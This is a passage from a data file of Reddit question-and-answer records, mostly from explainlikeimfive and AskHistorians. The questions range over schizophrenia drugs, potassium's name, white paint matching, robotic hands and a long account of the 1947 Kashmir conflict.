are helpful to some disorders. Similarly they find that there are trends in dopamine levels between those with common disorders.\n\nReally, chemical pathways in the brain are just weird.", "To say that we don't know what the brain is actually doing is inaccurate. For pretty much any neurological disorder, we have a pretty good understanding of the pathways. For instance, schizophrenia is generally caused by a mutation in the dopaminergic pathways. (over-reactive D2 receptors I think?). \n\nDrugs can be developed to also target these pathways so a drug treating schizophrenia will target the same D2 receptors, perhaps as an antagonist of the receptor or a channel blocker. \n\nAny possible drug treatment undergoes vigrous scrutiny until it is FDA approved.  They are generally tested on transgenic mice which mimic symptoms of the disease. Note that they can only mimic these diseases as a lot of neurological diseases are only seen in higher primates (so Alzheimer's disease uses a 3xTg-AD mice (3 times genetically modified mosue to model Alzheimers).\n\nI apologise if any of this is inaccurate. I'm currently in my third year of studying neuroscience and I did a second year project on Modelling AD with Transgenic mice. Schizophrenia is not my strong point but I believe what I'm saying is reliable. Hope this helps.", "Those drugs treat symptoms of the illness. There is no drug that cures a person of schizophrenia. There are drugs that help reduce or eliminate voices and hallucinations, but none that make the voices permanently. There are drugs that minimize physical symptoms of anxiety and panic, but none that can eliminate the root disorder. I'm a mental health worker myself, and we emphasize integrated treatment. Drugs help with symptoms, counselors and therapists help with cognitive therapies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bipolar-lives.com/who-discovered-lithium.html"], [], [], [], [], [], [], [], [], [], ["http://www.ayurvedictalk.com/medicinal-values-of-the-popular-herb-star-anise/1760/"], [], [], [], [], [], [], [], ["http://robertwhitaker.org/robertwhitaker.org/Schizophrenia.html"], [], [], [], [], [], [], []]}
{"q_id": "6gro1a", "title": "Why was Kalium renamed to Potassium?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6gro1a/why_was_kalium_renamed_to_potassium/", "answers": {"a_id": ["disk78d"], "score": [28], "text": ["It was not renamed to Potassium, Potassium is its original name, which derives from potash, which is the ash of burnt plants. Kalium on the other hand is the Neo-Latin derived from arabic *al-qalya*, which also describes the ash of burnt plants.\nI don't know why they decided to use Kalium instead of Potassium for the periodic table."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "93tojq", "title": "how come the cost of education, housing and healthcare in the us become so high?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/93tojq/eli5_how_come_the_cost_of_education_housing_and/", "answers": {"a_id": ["e3fwpg5", "e3fx4zh", "e3fxop7", "e3g00ia", "e3g3iby", "e3g7fkg"], "score": [13, 3, 2, 9, 2, 2], "text": ["Limited supply and ever increasing demand, coupled with economic policies which didn\u2019t do anything to help.\n\nHousing: more and more people are moving to major cities along the coast, cramming into the limited land area. There are many housing restrictions in these cities which prevent city expansion or limits on building heights. Policies like rent controls discourage Developers from making new properties since it\u2019s less profitable.\n\nEducation: same thing, more and more people are seeking higher education compared to a decade ago. New universities are not being built fast enough, current universities are oversubscribed. There is also increasing demand for non-academic costs (student services, good student housing etc).\n\nHealthcare: this is mostly due to bad economic policy. Americans consume roughly the same \u201camount\u201d of healthcare as anywhere else, but pay drastically inflated prices, illustrating a failure of the free market for healthcare. Imo this is due to the mass-privatisation of the healthcare sector (from insurance to Hospitals to medicines). You don\u2019t need universal healthcare to have an effective healthcare system, just don\u2019t let corporations run wild exploiting a public resource.", "There are a couple agents in the education market.\n\nFirst, by providing subsidies, the market reacts by expanding to capture that subsidy. More money is available? Well guess what? Education is suddenly more expensive. Second is Sally Mae, which convinced an entire generation to go to college and take out loans to do it. Once again, more money available, more money for the market to capture. Finally, the most expensive schools are absolutely bloated with administration - a whole enterprise that contributes almost nothing to education, but are astoundingly expensive. Administration consists of lots of middle management whom all command higher salaries than the educators who produce and perform actual work.", "The US based medical model is based on the concept that the patient can select what treatment they want and what provider they want the treatment from. However patients are rarely in a position to make informed decisions. Even if they are not in a rushed state they are relying on information from the very doctors who are selling them the treatments. So the patients are not in a good negotiating position and therefore fail at negotiating good prices for their treatment. The response to this is to have insurance companies negotiate prices and needs for all of their members. However the insurance companies will represent their own interests rather then their members interest and these can conflict with each other. So you see tactics like increasing prices for uninsured people so that insurance premiums can be raised and intentionally making it hard for the patient to tell if their treatments are fully covered or not so that insurance agencies do not have to cover the full treatment. This means that the book prices for treatments is negotiated upwards instead of down so that patients have to pay more for healthcare then in other countries, even if they are insured. The way that other countries handle this is to essentially make a mandatory insurance policy owned by the people. This eliminates the conflict of interest that the insurance companies have and makes doctors, pharmaceuticals and hospitals compete again. Not getting your services accepted by the main healthchare provider as it is too expensive can quickly lead to bankruptcy. Note that the universal healthcare model still allow medical services to be provided outside of this and also allows for private health insurances which may cover more services then the universal healthcare.", "Greed. Healthcare is significantly higher in the U.S. because of a money-based \"healthcare\" system, instead of a \"health\" based system. \n\nHousing is overpriced in some areas, and in other areas houses are impossible to sell in part because banks and lenders (and even the government) have manipulated rates and lending in certain areas of the Nation. \n\nEducation has gotten expensive at the pre-college level because of poor decisions by State governments, private contracts, and waste. At the college level, some colleges have high fees, but many scholarships and financial aid packages.", "A big part of the cost of healthcare is driven by the cost of education- ie it costs a bazillion dollars to educate a doctor and it's not uncommon for them to end up over $100,000 in debt. The cost of education is partly due to the lack of government subsidies, and partly  the disappearance of high paying blue collar jobs, giving people no other option than \"go to school to program computers and borrow whatever it takes\" or \"flip burgers for the rest of your life\". So with increasing demand and a relatively fixed supply colleges can charge out the wazoo. \n\nOther reasons for healthcare are subsidizing pharmaceutical development for the rest of the world and the U.S demand for no wait times for non-emergent services as well as private hospital rooms and granite and fountains in the waiting rooms. Insurance company overhead is only about 10.5 % of healthcare costs, is limited by law to 20%, includes some things that reduce healthcare costs like \"eat your vegetables\" commercials, and wouldn't be zero on a single payer system. \n\nHousing you can't make in Chinese sweatshops, so it's rising at a rate higher than iPhones and shower flip-flops. Plus many desirable places to live have either natural barriers (think the mountains around the San Francisco Bay Area) or artificial anti-growth policies further limiting supply in an attempt to prevent \"sprawl\".  ", "Because America prides itself as a capitalist society, which means that in whatever system that is involved, finances and the accumulation of wealth is prized more than anything. \n\nIn the health care system, making money is more important than providing health care to patients. \n\nIn education, making money is more important than in providing students with an education. \n\nIn housing, making money is more important than in providing any kind of housing to anyone. \n\nELI5: things are expensive because everyone like money too much "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2ug2uk", "title": "why do plastic school chairs have holes in the back of them?", "selftext": "Thanks for your knowledge", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ug2uk/eli5_why_do_plastic_school_chairs_have_holes_in/", "answers": {"a_id": ["co82chu", "co82cmj", "co842pv", "co8b87t", "co8bkho", "co8bm2q", "co8gh5d"], "score": [57, 21, 13, 4, 2, 13, 8], "text": ["It makes them easier to lift up (you can hold the hole).\n\nAs well as this, it requires less material to make and therefore is cheaper (on the mass-producing scale this kind of thing makes a big difference).", "Because less material means less material costs. The back does not need to be a solid piece, it works just as well with a hole in it. And that's money saved. ", "Perhaps to help keep your back from Sweating? Being pressed up against a pi3ce of plastic for a few hours coukd definitely cause that. ", "To prevent condensation when you sit for long periods of time on a hot or cold day", "Followup question: why do some fold up table-chairs have like only 3in. by 3in. table space?", "Because of vaccum suction. Like a suction cup. If it did not have any holes you might form a seal with the back of the chair, and when you get up the chair might get up with you and then fall down causing an awkward racket.\n\nIt cuts down on sweating too.\n\nReally *really* cheap plastic chairs dont have holes in them and do have that suction effect.", "Putting groves and holes with lips adds structural integrity to flat(ish) surfaces. This is why most car doors aren't totally flat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5157ps", "title": "why do girls talk sooner than boys?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5157ps/eli5_why_do_girls_talk_sooner_than_boys/", "answers": {"a_id": ["d79ckvo"], "score": [3], "text": ["It should be noted that the difference is a matter of mere months, and in the grand scheme it's really *not* that big a difference since we're talking about an *average* age, not a static factual age. \n\nThat said, recent discoveries suggest that the foxp2 protein is a bit contributor to language development, and that females tend to have more of it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "20qz1u", "title": "why does everyone connect aliens to anal probing? (very serious)", "selftext": "I\u00b4m just curious to why aliens are made too look like they anal probe everyone they see.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20qz1u/eli5_why_does_everyone_connect_aliens_to_anal/", "answers": {"a_id": ["cg5wpdx", "cg5wwy0", "cg69mm6"], "score": [19, 40, 3], "text": ["from wikipedia: \n\n\nAnal probing by aliens is a joke commonly made regarding popular culture that originates[citation needed] with the work of narrative story Communion: A True Story (1987) by Whitley Strieber:\n\n\nThere were clothes strewn apart, and two of the stocky ones drew my legs apart. The next thing I knew I was being shown an enormous and extremely ugly object, grey and scaly, with a sort of network of wires on the end. It was at least a foot long, narrow, and triangular in structure. They inserted the thing into my rectum. It seemed to swarm into me as if it had a life of its own. Apparently, its purpose was to take samples, possibly of fecal matter, but at the same time I had the impression I was being raped and for the first time I felt anger.\n\nfull article: _URL_0_", "Because backwoods rednecks who regret their drunken gay experimentation prefer to disguise their shame by blaming aliens.", "Jokes aside, A lot of detailed information can be derived from poop. (From an aliens perspective) you could learn what this person has been eating, possibly their dietary restrictions, limits, and habits. The bacteria that lines the bowels is full of interesting details and indicators as to our digestive systems, our current health, the presence of any unwanted bacterium and diseases. \n\nTLDR; Humans look at poop to learn about animals, its reasonable to assume aliens would do it to learn about us."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Anal_probing"], [], []]}
{"q_id": "bi14di", "title": "why is it so hard to match white paint?", "selftext": "I went to Home Depot the other day to get some paint to touch up a white wall. Even though I had the information for the custom paint blend (Sherwin Williams), they said they couldn\u2019t guarantee they\u2019d be able to match it and white paint was notoriously hard to match. Why would it be so hard to match a color as simple as white? It seems like there would be fewer variations than on a color like red or blue.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bi14di/eli5_why_is_it_so_hard_to_match_white_paint/", "answers": {"a_id": ["elx7ijy", "elx7srd", "elx8by6", "elxal2h", "elxo6ov", "elxvjih", "elxy10z", "elzcykt"], "score": [12, 5, 61, 6, 2, 3, 2, 2], "text": ["As far as I know - not an expert but I sell the stuff - they make paint in batches like 1000L at a time...color variations will always happen. But a white paint from the same manufacturer should match up. Old paint that\u2019s been aged with time and sun and touching won\u2019t match a new tin of paint too. Crossing manufacturers on a room is not a good idea.", "All paint ages and slightly changes in color over time as a result, so there's that. White, because it is white, tends to show this more visibly. Also because it is white, the undercoat (the color you are painting over) will more easily bleed through. Even if the undercoat is white any offcolor can still show.", "It depends on what colorants are in the mix, as well as the size of the can you\u2019re getting the match mixed into.  \n\nThe base starts off pure white (titanium dioxide), so any color added is going to create a much more potent change than it would if it was a heavier color with lots of colorant already in there.  \n\nIf it\u2019s a quart of paint, even the smallest possible drop of red or yellow will often be far too much because of the ratio of colorant to paint.\n\nA really good paint mixer will say \u201cI can do it, but you won\u2019t have a formula to go by\u201d and then smear the smallest drop onto their finger and just dab a partial bit of it into the paint and then check the color.  These people are extremely rare, and I\u2019m pretty sure would NEVER exist in a corporate establishment.\n\nIf you want the best match on a white color from the lowest common denominator, get a big bucket of paint to match into.  With a much better colorant-to-paint ratio, there\u2019s significant room to play around and the smallest drop won\u2019t ruin your color anymore.", "People have really good color vision.  We can detect very small color variations in white objects.  As the color becomes more saturated, our vision is less sensitive to it.  This is super unfortunate in the paint business, because when you're putting 500 units of green into the paint the machine can do \u00b11, which people can't see.  Light tints, where you only put 3 or 4 units of green into the paint produce easy to differentiate paints and don't make the person who needs 3.3 units happy because neither paint you make will \"match\".", "The color of the lighting has something to do with the issue. Looking at \"eggshell\" in orange apron home improvement store, than in your house. At the store you have 6 lamp t5 5000k high bay lights. At your home you have some recessed cans , or track lights or whatever at about 35k . It makes a HUGE difference.", "ELI5 Answer: Paint is made of a lot of different things from different companies. Each company uses different color mixtures because the formulas are trademarked. White is really hard to match and paint breaks down a tiny bit everyday after putting it on the wall and the color changes with time, sunlight and oxygen.\n\n & #x200B;\n\nLong Answer Here:\n\nFirst there are a few ways to color paint white. The most common for a bright white is titanium dioxide but before that we used titanium oxide and white clays. There are also the fillers that different paint companies use that affect the final coloration.\n\nBecause of the differences in formulation even using the same whitening agent can result in a different final product. Even bright \"Ultra Whites\" from different companies say Behr and Sherman Williams will look different especially under sunlight or other bright light. Behr is naturally a shiny paint so satin looks like a semigloss from other companies. Because of this It is really hard to match other companies paints in Behr Paint. Glidden (also offered at the orange store) was much better at most if not all color matching (not sure if this is still true, it's been a while).\n\nEver seen how many off-whites there are? I worked at Home Depot in the paint department for a few years and the most common whites that come to mind are: Ultra Bright White; Antique White; Cottage  White; Swiss Coffee; Frost; Eggshell; Navajo White; Linen; you get the idea, and this is after not working there for a decade(?) maybe.\n\nPaint matching machines are spectrometers that use light reflection to create a formula for the paint and from my limited experience, people are not good about keeping those things calibrated for accuracy. They do have some of the company's formula but because you are not using the same base Company Paint it may not come out exact.\n\nA white or off-white will be one of the hardest colors to match because of all of these things plus one more: Oxidation.\n\nPaint degrades over time, more so in the sun. Paint from 10 years ago left in the elements and the same paint left over in the can, painted on top of it will look like two different colors because of the damage the dry paint has accumulated over it's time exposed.", "As a workaround if you need only to paint repairs on a wall:  \n\n\nBuy a stencil.  Put the stencil on the places that need fixing, and paint with a stencil brush.  Once the repairs are done, apply at random elsewhere.  It now looks like it was planned.  \n\n\nYou can do this with the room's trim colour if you want it to be more obvious.", "There are lots of excellent detailed answers on here, but here's a go at a 5yo version:\n\nMatching white paint is a varient of the purity problem.  Let's say you have a process with a +/- 1wt% accuracy, ie you can hit a target X+/-1%.  If your target is 50% X and 50% Y, you might get a 51%/49% mix instead.  That's ok, you just have 1/50 extra X or 2% error relative to target.  Now lets try a 1%X/99%Y target, you might get 2%X/98%Y which is double the targeted X, an error of 100%! Basically when mixing things our accuracy is often constant, eg X lbs +/- 1 oz, but our performance scales with error relative to the target. As we strive for purity our errors feel bigger.  \n\nWith white paint a little bit extra of any color makes a bigger difference than with other colors due to its relative 'purity'.\n\n(Obviously less technically precise than many answers on this thread in an effort to be 5yo level.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "5wwfr0", "title": "why do you get a bruise when something is \"suctioned\" onto you?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wwfr0/eli5_why_do_you_get_a_bruise_when_something_is/", "answers": {"a_id": ["dedbmd1"], "score": [16], "text": ["Bruises are caused when tiny blood capillaries are ripped and the blood leaks out under the skin.  They can be ripped by an impact or, in the case you mention, when a vacuum is applied.  The vacuum removes the air pressure that normally squeezes in on your body all the time.  Your blood vessel pressure remains the same, and that's too much for the capillaries to contain without the air pressure squeezing them.  A few of them break, and blood leaks out to form a bruise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6nz3wb", "title": "why, when building robotic hands, can't we build an exact copy of the human hand only using mechanical parts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6nz3wb/eli5why_when_building_robotic_hands_cant_we_build/", "answers": {"a_id": ["dkdckhr", "dkddsjm", "dkdeb58"], "score": [2, 12, 3], "text": ["We can get pretty close. But the human hand relies on muscles to make the pieces move, and currently we don't synthetic muscles that make an excellent direct replacement. Instead we use motors and solenoids and such, and they don't move the same way. Also, our sensors are not as sophisticated as the ones in a human hand, so controlling it is tough.\n\nMost of all, we *don't want* robots to work exactly like humans, we want them to work *better.* So most robot designers aren't even trying to make exact copies.", "I'm a grad student working on some related this research in replicating biological systems as machines. There have actually been some pretty good attempts at mechanical human hands, but trying to make a soft fleshy part out of rigid components is never going to be exact. We can use tiny motors to control the wrists and fingers, but then you end up with awkward heaviness wherever the motors are sitting. You can put tactile sensors to detect finger touches, or encoders to keep track of joint positions, but with current tech you cant get enough accuracy to identify the shape or texture of an object you're holding, how hard your grip is, is the object warm, is it slipping from your grasp,  etc. Is the hand waterproof? Does it sweat to cool itself? If we are really going for an \"exact copy\" we are a long way off.\n\nMy research is is in what we call \"soft robotics.\" In general, we try to replicate some of the functions of living tissue in such a way that the final product is soft, flexible, stretchable, damage resistant, and so on. We try to develop parts so that all the functionality you need is just built into the material itself.  I mean, think of all the things just your skin does. Instead of motors we develop artificial muscles out of different materials so they can be made into bundles of controllable filament. Instead of copper wires we use conductive fabric or liquid metal in tiny tubes.  Instead of ratchets and mechanical stops, we use stiffening and softening fibers to hold the grip in place. Eventually we hope to weave all these together in a sort of \"smart fabric\" that will resemble a living system at least a little bit. \n\nTake a look at these guys at Yale who I will be working with this fall.  They are *specifically* working on the technology to make soft hands like that. The Yale [GrabLab](_URL_0_)\n\nEdit:  some detail added", "The purpose of a robot is to *do a job*, not to copy humans.\n\nHuman hands are pretty good general purpose devices, but if you want to perform a specific task, especially one that might put too much wear and tear on flesh and bone, other approaches are better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.eng.yale.edu/grablab/"], []]}
{"q_id": "3ip9vm", "title": "What is the Kashmir Conflict? Why has it been going on for almost 70 years? Will it ever be solved?", "selftext": "I'm very interested in learning about the dispute between India and Pakistan over Kashmir. However, as I know very little about History in general, I don't even know where to start... Could you please fill me in? \n\nThank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ip9vm/what_is_the_kashmir_conflict_why_has_it_been/", "answers": {"a_id": ["cuiu5ca", "cuiwcx3", "cuj11rj"], "score": [151, 47, 17], "text": ["So this is an excerpt from an essay I wrote on the topic that essentially summarizes the conflict. I have cited the sources used in this section at the bottom, hope it helps. If this is not allowed, I will remove it ASAP!\n\n >  As both India and Pakistan gained dominion status in mid 1947 around 600 princely states had to be politically integrated into the newly formed dominions. Before 1947, the princely states had operated in conjunction with the British Raj, forming a type of relationship that came to be known as paramountcy. Princely states would cede certain powers, such as control over foreign affairs, to the British. With the creation of India and Pakistan in 1947, as per the June 3rd plan, the relationship of paramountcy between princely states and the British ceased to exist; states regained control of the powers they had initially forfeited to the British Raj.   In order to fill the vacuum left by the British, states were supposed to form allegiances (generally based on state demographics and state geography) with either Pakistan or India, as per Lord Mountbatten\u2019s June 3rd plan. Allegiances were formed, for the most part, using instruments of accession, through which princely states would either accede to Pakistan or India.\n\n >  For the most part, the majority of the princely states acceded without too much fuss. However, there were 3 notable exceptions to that rule: Hyderabad, Junagadh, and Kashmir. In this essay I will be looking at the cases of Junagadh and Kashmir.\n\n >  As the Junagadh conflicted played out in Gujarat, another crisis was unfolding in the princely state of Kashmir. Unlike Junagadh, where the leader was a Muslim and the majority of the population was Hindu, Kashmir had a Hindu leader and a Muslim majority. However, even though the majority of the population was Muslim, this did not mean the whole Muslim population was in favor of acceding to Pakistan; one of the state\u2019s most popular political party\u2019s was the Sheikh Abdullah led National Conference, which shared extremely close ties with India\u2019s congress parties. When India and Pakistan became separate dominions, Kashmir, unlike Junagadh, did not announce its intentions immediately. Rather, Kashmir entered into a standstill agreement with Pakistan, and also attempted to enter into a similar agreement with India (albeit unsuccessfully). As time progressed the situation in the state became less favorable towards Pakistan. Mahajan, Kashmir\u2019s Prime Minister was in talks with Nehru over accession to India. As a result of these talks Sheikh Abdullah, whose popular following and ties to India made him a threat to Pakistan, was released from jail. With the situation slipping through Jinnah\u2019s fingers, he decided to resort to military action. In a telegram to Jinnah, Major Khurshid Anwar discussed the plans to send Pakistani tribesmen into Kashmir. In a telegram on October 18th from Kashmir to Pakistan it was noted that transport of supplies and efficiency of postal services was becoming increasingly difficult owing to the presence of tribes men. Then, on October 22nd tribesmen seized Muzaffarabad. With pressure mounting, and the situation becoming increasingly desperate, Kashmir\u2019s ruler, Hari Singh, acceded to India in the search for military help in restoring peace within Kashmir. In a note to Lord Mountbatten, Hari Singh says, \u201cI have no option but to ask for help from the Indian Dominion. Naturally they cannot send the help asked for by me without my state acceding to the dominion of India. I have accordingly decided to do so\u201d.  The Indian government decided to accept his accession until peace was restored. After that, they would gauge the will of the Kashmiri people, and make a decision from there. Hari Singh\u2019s accession, was hotly contested from the getgo. Pakistan maintained that he was no longer in control of his state, seeing as areas of northern Kashmir had been clinched by Jinnah\u2019s tribesmen (In denying the legality of Kashmir\u2019s accession, Jinnah simultaneously denied India\u2019s right to Kashmir, but maintained his own right to Junagadh, because nothing illegal or questionable had happened in Junagadh). But regardless of Pakistan\u2019s objections, India now labeled them aggressors; their \u201ctroops\u201d were on foreign turf. Over the following 2 months, rhetoric between the two sides escalated. Various proposals, some of which will be further discussed later, were put forward, but then ultimately rejected. Amongst these proposals was the swapping of Junagadh for Kashmir and an immediate plebiscite to ascertain the Kashmiri populations will. The idea of a plebiscite gained headway, but ultimately reached an impasse when neither side could agree on conditions; both sides wanted a plebiscite to be carried out in conditions that would be favorable to them. Both India and Pakistan eventually took the case to the Security Council. Resolutions were offered in both April and August of 1948. In April, both India and Pakistan rejected the Security Council\u2019s proposal. The proposal required both countries to withdraw their troops, and then a plebiscite administration would be set up. The administration would invite all major political parties of Kashmir to participate in the plebiscite. India rejected the offer saying it did nothing to acknowledge Pakistan\u2019s role as aggressor, and it pitted the two countries as equals, which, in this situation, India claimed was not the case. Pakistan rejected the proposal because the inclusion of major Kashmiri political parties would mean Sheikh Abdullah and the National Conference would play too big a role in determining the outcome of the state. In August, only Pakistan rejected the UNs new resolution, which implicitly confirmed Pakistan\u2019s aggressor status. India, given the changes, found the new conditions favorable.\n\nWhy was Kashmir important (india centric answer)?\n\n >  Kashmir was of key importance to India because it supplied (and still supplies) many of India\u2019s rivers with water, which in turn sustained multiple communities across Northern India. At the same time being in control of Kashmir\u2019s water supply would also mean India could control water flow into Pakistan. Serving as the basing for the Indus river, securing Kashmir would mean securing and controlling the water flows to various rivers across North India. In fact, during military operations in 1947 and 1948 Jhelum became a key point of contention. General Gracey became increasingly aware of attacks on Bhimbur and Mirpur, noting that such an attack would allow India to control the Jhelum, one of the key tributaries of the Indus.  \n\tFurthermore, successfully gaining Kashmir would, Nehru claimed, prove India\u2019s status as a secular state. According to Nehru, \u201cIf Kashmir went, the position of Muslims in India would become more difficult. In fact, there would be a tendency of people to accept a purely communal Hindu viewpoint. That would mean an upheaval of the greatest magnitude in India\u201d. Having a state with a majority population of Muslims in India would declare India as a secular nation. How could Kashmir exist within the framework of India if it were not a secular nation? Wresting Kashmir from Pakistan, an Islamic nation state, would be the ultimate victory for India\u2019s secularity.\n\tFinally, with Indian control of Kashmir, would make sure that India\u2019s internal security was safe. Northern Kashmir bordered Afghanistan, China, and the USSR at the time of independence. Having a secure Kashmir would secure India\u2019s borders and possibly prevent future incursions by the aforementioned countries. In a telegram to Clement Attlee, Nehru had the following to say as to how a secure Kashmir would reinforce India\u2019s own security: \u201cKashmir\u2019s northern frontiers\u2026run in common with those of Kashmir, which must depend upon its internal tranquility and existence of stable government, is vital to security of India, especially since part of southern boundary of Kashmir and India are common\u201d. Securing Kashmir would expand India\u2019s presence in the subcontinent and the surrounding area, which would serve to deter potential incursions. Furthermore, Kashmir\u2019s difficult to navigate terrain would also serve as a deterrent for those trying to enter India, especially if the Indian army were able to master the mountains and valleys that enveloped Kashmir. \n  \nThe section I copy pasted is mostly context and derived from the following sources. Hope this helps!:\n\nMenon, V. P. The Story of the Integration of the Indian States, 130. New York: Macmillan, 1956. Print.\n\nZaidi, Z. H., and M. Akram. Shaheedi. Quaid-i-Azam Mohammad Ali Jinnah Papers. Islamabad: Quaid-i-Azam Papers Project, National Archives of Pakistan, 1993. Print. 5\n\nRaghavan, Srinath. War and Peace in Modern India. Houndmills, Basingstoke, Hampshire: Palgrave Macmillan, 2010. Print.\n\nLamb, Alastair. Kashmir: A Disputed Legacy. N.p.: Roxford, 1998. Print.\n\nHasan, K. Sarwar. The Kashmir Question. Karachi: Pakistan Institute of International Affairs, 1966. Print.\n\n\n", "So, I wrote my masters thesis on the evolution of Indo-Pakistani relations, in the context of Kashmir. This will be a pretty long answer, but below I have pasted some of the most relevant pieces of my thesis. I haven't touched it since 2012, so there is nothing in there post-12. If anyone is interested, I will gladly share the entire thing. \n\nYa, so this is pretty long, and goes into the 1st child comment. The format sucks but I don't feel like spending an hour getting it to look good for a Reddit comment. \n\nThe beginning of the conflict:\n\n >  Prior the partition of India, the Indian subcontinent consisted of British administered\n >  provinces and more than 560 princely states.28 These princely states, though they recognized the\n >  supremacy of the English Crown, were largely internally autonomous. Upon the partition of\n >  India, these princely states were given the choice to accede to either India or Pakistan. The\n >  overwhelming majority of these states chose to join the new nation that corresponded to their\n >  internal religious demographics; however, some were swayed by other means. Most of these\n >  princely states were demographically Hindu, so the great majority acceded to India. However, as\n >  India was quickly expanding its territory with the incorporation of these states, Pakistan made\n >  securing the few majority Muslim states, specifically Kashmir, its key policy goal in its early\n >  existence.\n\n >  Kashmir or, at the inception of the new nations of Pakistan and India, the princely state of\n >  Jammu and Kashmir, was asked to join one of the new nations. However, the Maharaja, or king,\n >  of the princely state, Hari Singh, was very reluctant to make a decision.29 There were several\n >  reasons for Singh\u2019s reluctance. First, Singh was a Hindu and his state was largely Muslim.\n >  While logic would suggest that Singh favored accession to Hindu India, this was not the case;\n >  Singh\u2019s ultimate goal was for Jammu and Kashmir to emerge as an independent nation, or at the\n >  very least a part of either India or Pakistan with a large degree of autonomy.30 Further, the\n >  Maharaja was very skeptical of Indian socialist intentions of Jawaharlal Nehru, the Prime Minister of India; he was also skeptical of the possibility of Pakistan greatly diminishing his\n >  power.31\n\n >  When the question of accession was initially posed, the people of the Poonch region of\n >  Jammu and Kashmir became very visibly active in their favor of joining Pakistan, holding public\n >  forums and debates, as well as lobbying the Maharaja. Though the Poonchis activism began\n >  peacefully, the Maharaja responded with a strong hand. Singh ordered a large contingent of his\n >  Hindu troops into Poonch to halt the activism.32 The largely peaceful protests soon escalated to\n >  violence as the Maharaja\u2019s troops, in early August 1947, fired upon a peaceful protest.33 This\n >  gave rise to a widespread armed conflict, between the Hindu troops and the Poonchis. On 27\n >  August 1947, Poonchi rebels attacked and took control of a police station.34 This caused Singh\n >  to send in nearly all the troops under his command into the Poonch region, escalating the conflict\n >  into all out civil war.\n\n >  Though the conflict itself began in Poonch, it soon expanded beyond, with many\n >  Kashmiri Muslims taking up arms against the Maharaja\u2019s troops. In the midst of this civil war,\n >  Pakistan saw an opportunity to achieve its goal of incorporating Kashmir. It seemed, to the\n >  Pakistani leadership, that a small push was all that Singh needed to accept the accession to\n >  Pakistan.35 Therefore Pakistan began to arm the rebels. Further, Pakistan set into motion a plan,\n >  several months in the making, to invade the region. The plan materialized on 22 October 1947,\n >  when more than 2,000 irregular Pakistani troops\u2014consisting of former soldiers, tribal militias,\n >  and a dozen or so plain-clothed Pakistani officers\u2014crossed the border into Kashmir, and joined\n >  with the already active anti-Maharaja Kashmiri militias.36 These irregulars, after several days,\n >  began to close in on the capital of the state, Srinagar.\n\n >  With the Pakistani-Kashmiri militia closing in on the capital, India dispatched a\n >  delegation to persuade the Maharaja to join India. On 26 October 1947, the Maharaja signed a\n >  letter of accession to India, on the basis of India\u2019s promise that it would send troops to halt the\n >  rebellion.37 This letter still remains at the core of the Kashmir conflict. Pakistan holds that the\n >  letter was illegal, and \u201cIndia\u2019s continued refusal hold a plebiscite on the question of accession\n >  denies the Kashmiri people their right to self-determination.\u201d38 Further, Pakistan argues, the\n >  letter was illegal as the Maharaja of Kashmir was not a heredity ruler, but rather was appointed\n >  the British colonists.\n\n >  Legality aside, once the Maharaja agreed to accede to India, Indian troops were airlifted\n >  to Kashmir.39 Once arriving at the end of October 1947, the Indian forces quickly secured the\n >  capital. By the end of November 1947, the Indian army had taken over the war effort, which at\n >  this point was strictly defensive in nature, from the Maharaja\u2019s troops.40 With the introduction of\n >  the Indian regular army, the Pakistani-Kashmiri effort faltered. This was due to an array of\n >  circumstances. First, the Pakistani-Kashmiri militia was highly disorganized and unprofessional.\n >  Often the actions of the various Pakistani and Kashmiri tribes, which made up a large part of the\n >  Pakistani-Kashmiri militia, were dictated by tribal elders who, more often than not, were focused\n >  on pillaging and looting villages. Officers were unable, to a large degree, to coordinate their\n >  actions against the Indian army.41 The difficulties in coordination of the Pakistani-Kashmiri\n >  militia were compounded by the fact that the Indian army, as a result of the division of assets,\n >  was highly professionalized and utilized the most modern military equipment.42 The Pakistani-\n >  Kashmiri militia was, on the other hand, \u201ca rag-tag force equipped with outdated rifles or homemade\n >  weapons in the gun factories of the Frontier province.\u201d43\n\n >  As the winter months of 1947-48 came on, the war ground to a halt. This lull gave both\n >  sides a chance to reevaluate their strategies and goals of the conflict. Jawaharlal Nehru, at the\n >  coaxing of his British advisors referred the issue of Kashmir to the UN. However, Nehru and his\n >  military advisors began to work on a contingency plan for a major offensive.44 Though this first\n >  step towards working with and through international institutions was involuntary, Nehru would\n >  eventually come to embrace these institutions, and they would in fact become the core of\n >  Nehruvian international thought which would come to guide the Indian approach to Kashmir in\n >  this first phase. Pakistan, during the lull, began to shift its strategy away from the offensive.\n >  Once it became clear that the Pakistani-Kashmiri militia was greatly outmatched by the Indian\n >  army, the new strategic objectives were to make the expulsion of the Pakistani-Kashmiri militia,\n >  which Pakistani strategists had begun to see as the eventual scenario, as difficult and expensive\n >  for India as possible, to hold as much of the gained territory as possible, and to stop the Indian\n >  army from entering Pakistan at all costs.45\n >  \n >  28 Ian Copland, \u201cThe Princely States, the Muslim League, and the Partition of India in 1947\u201d, The 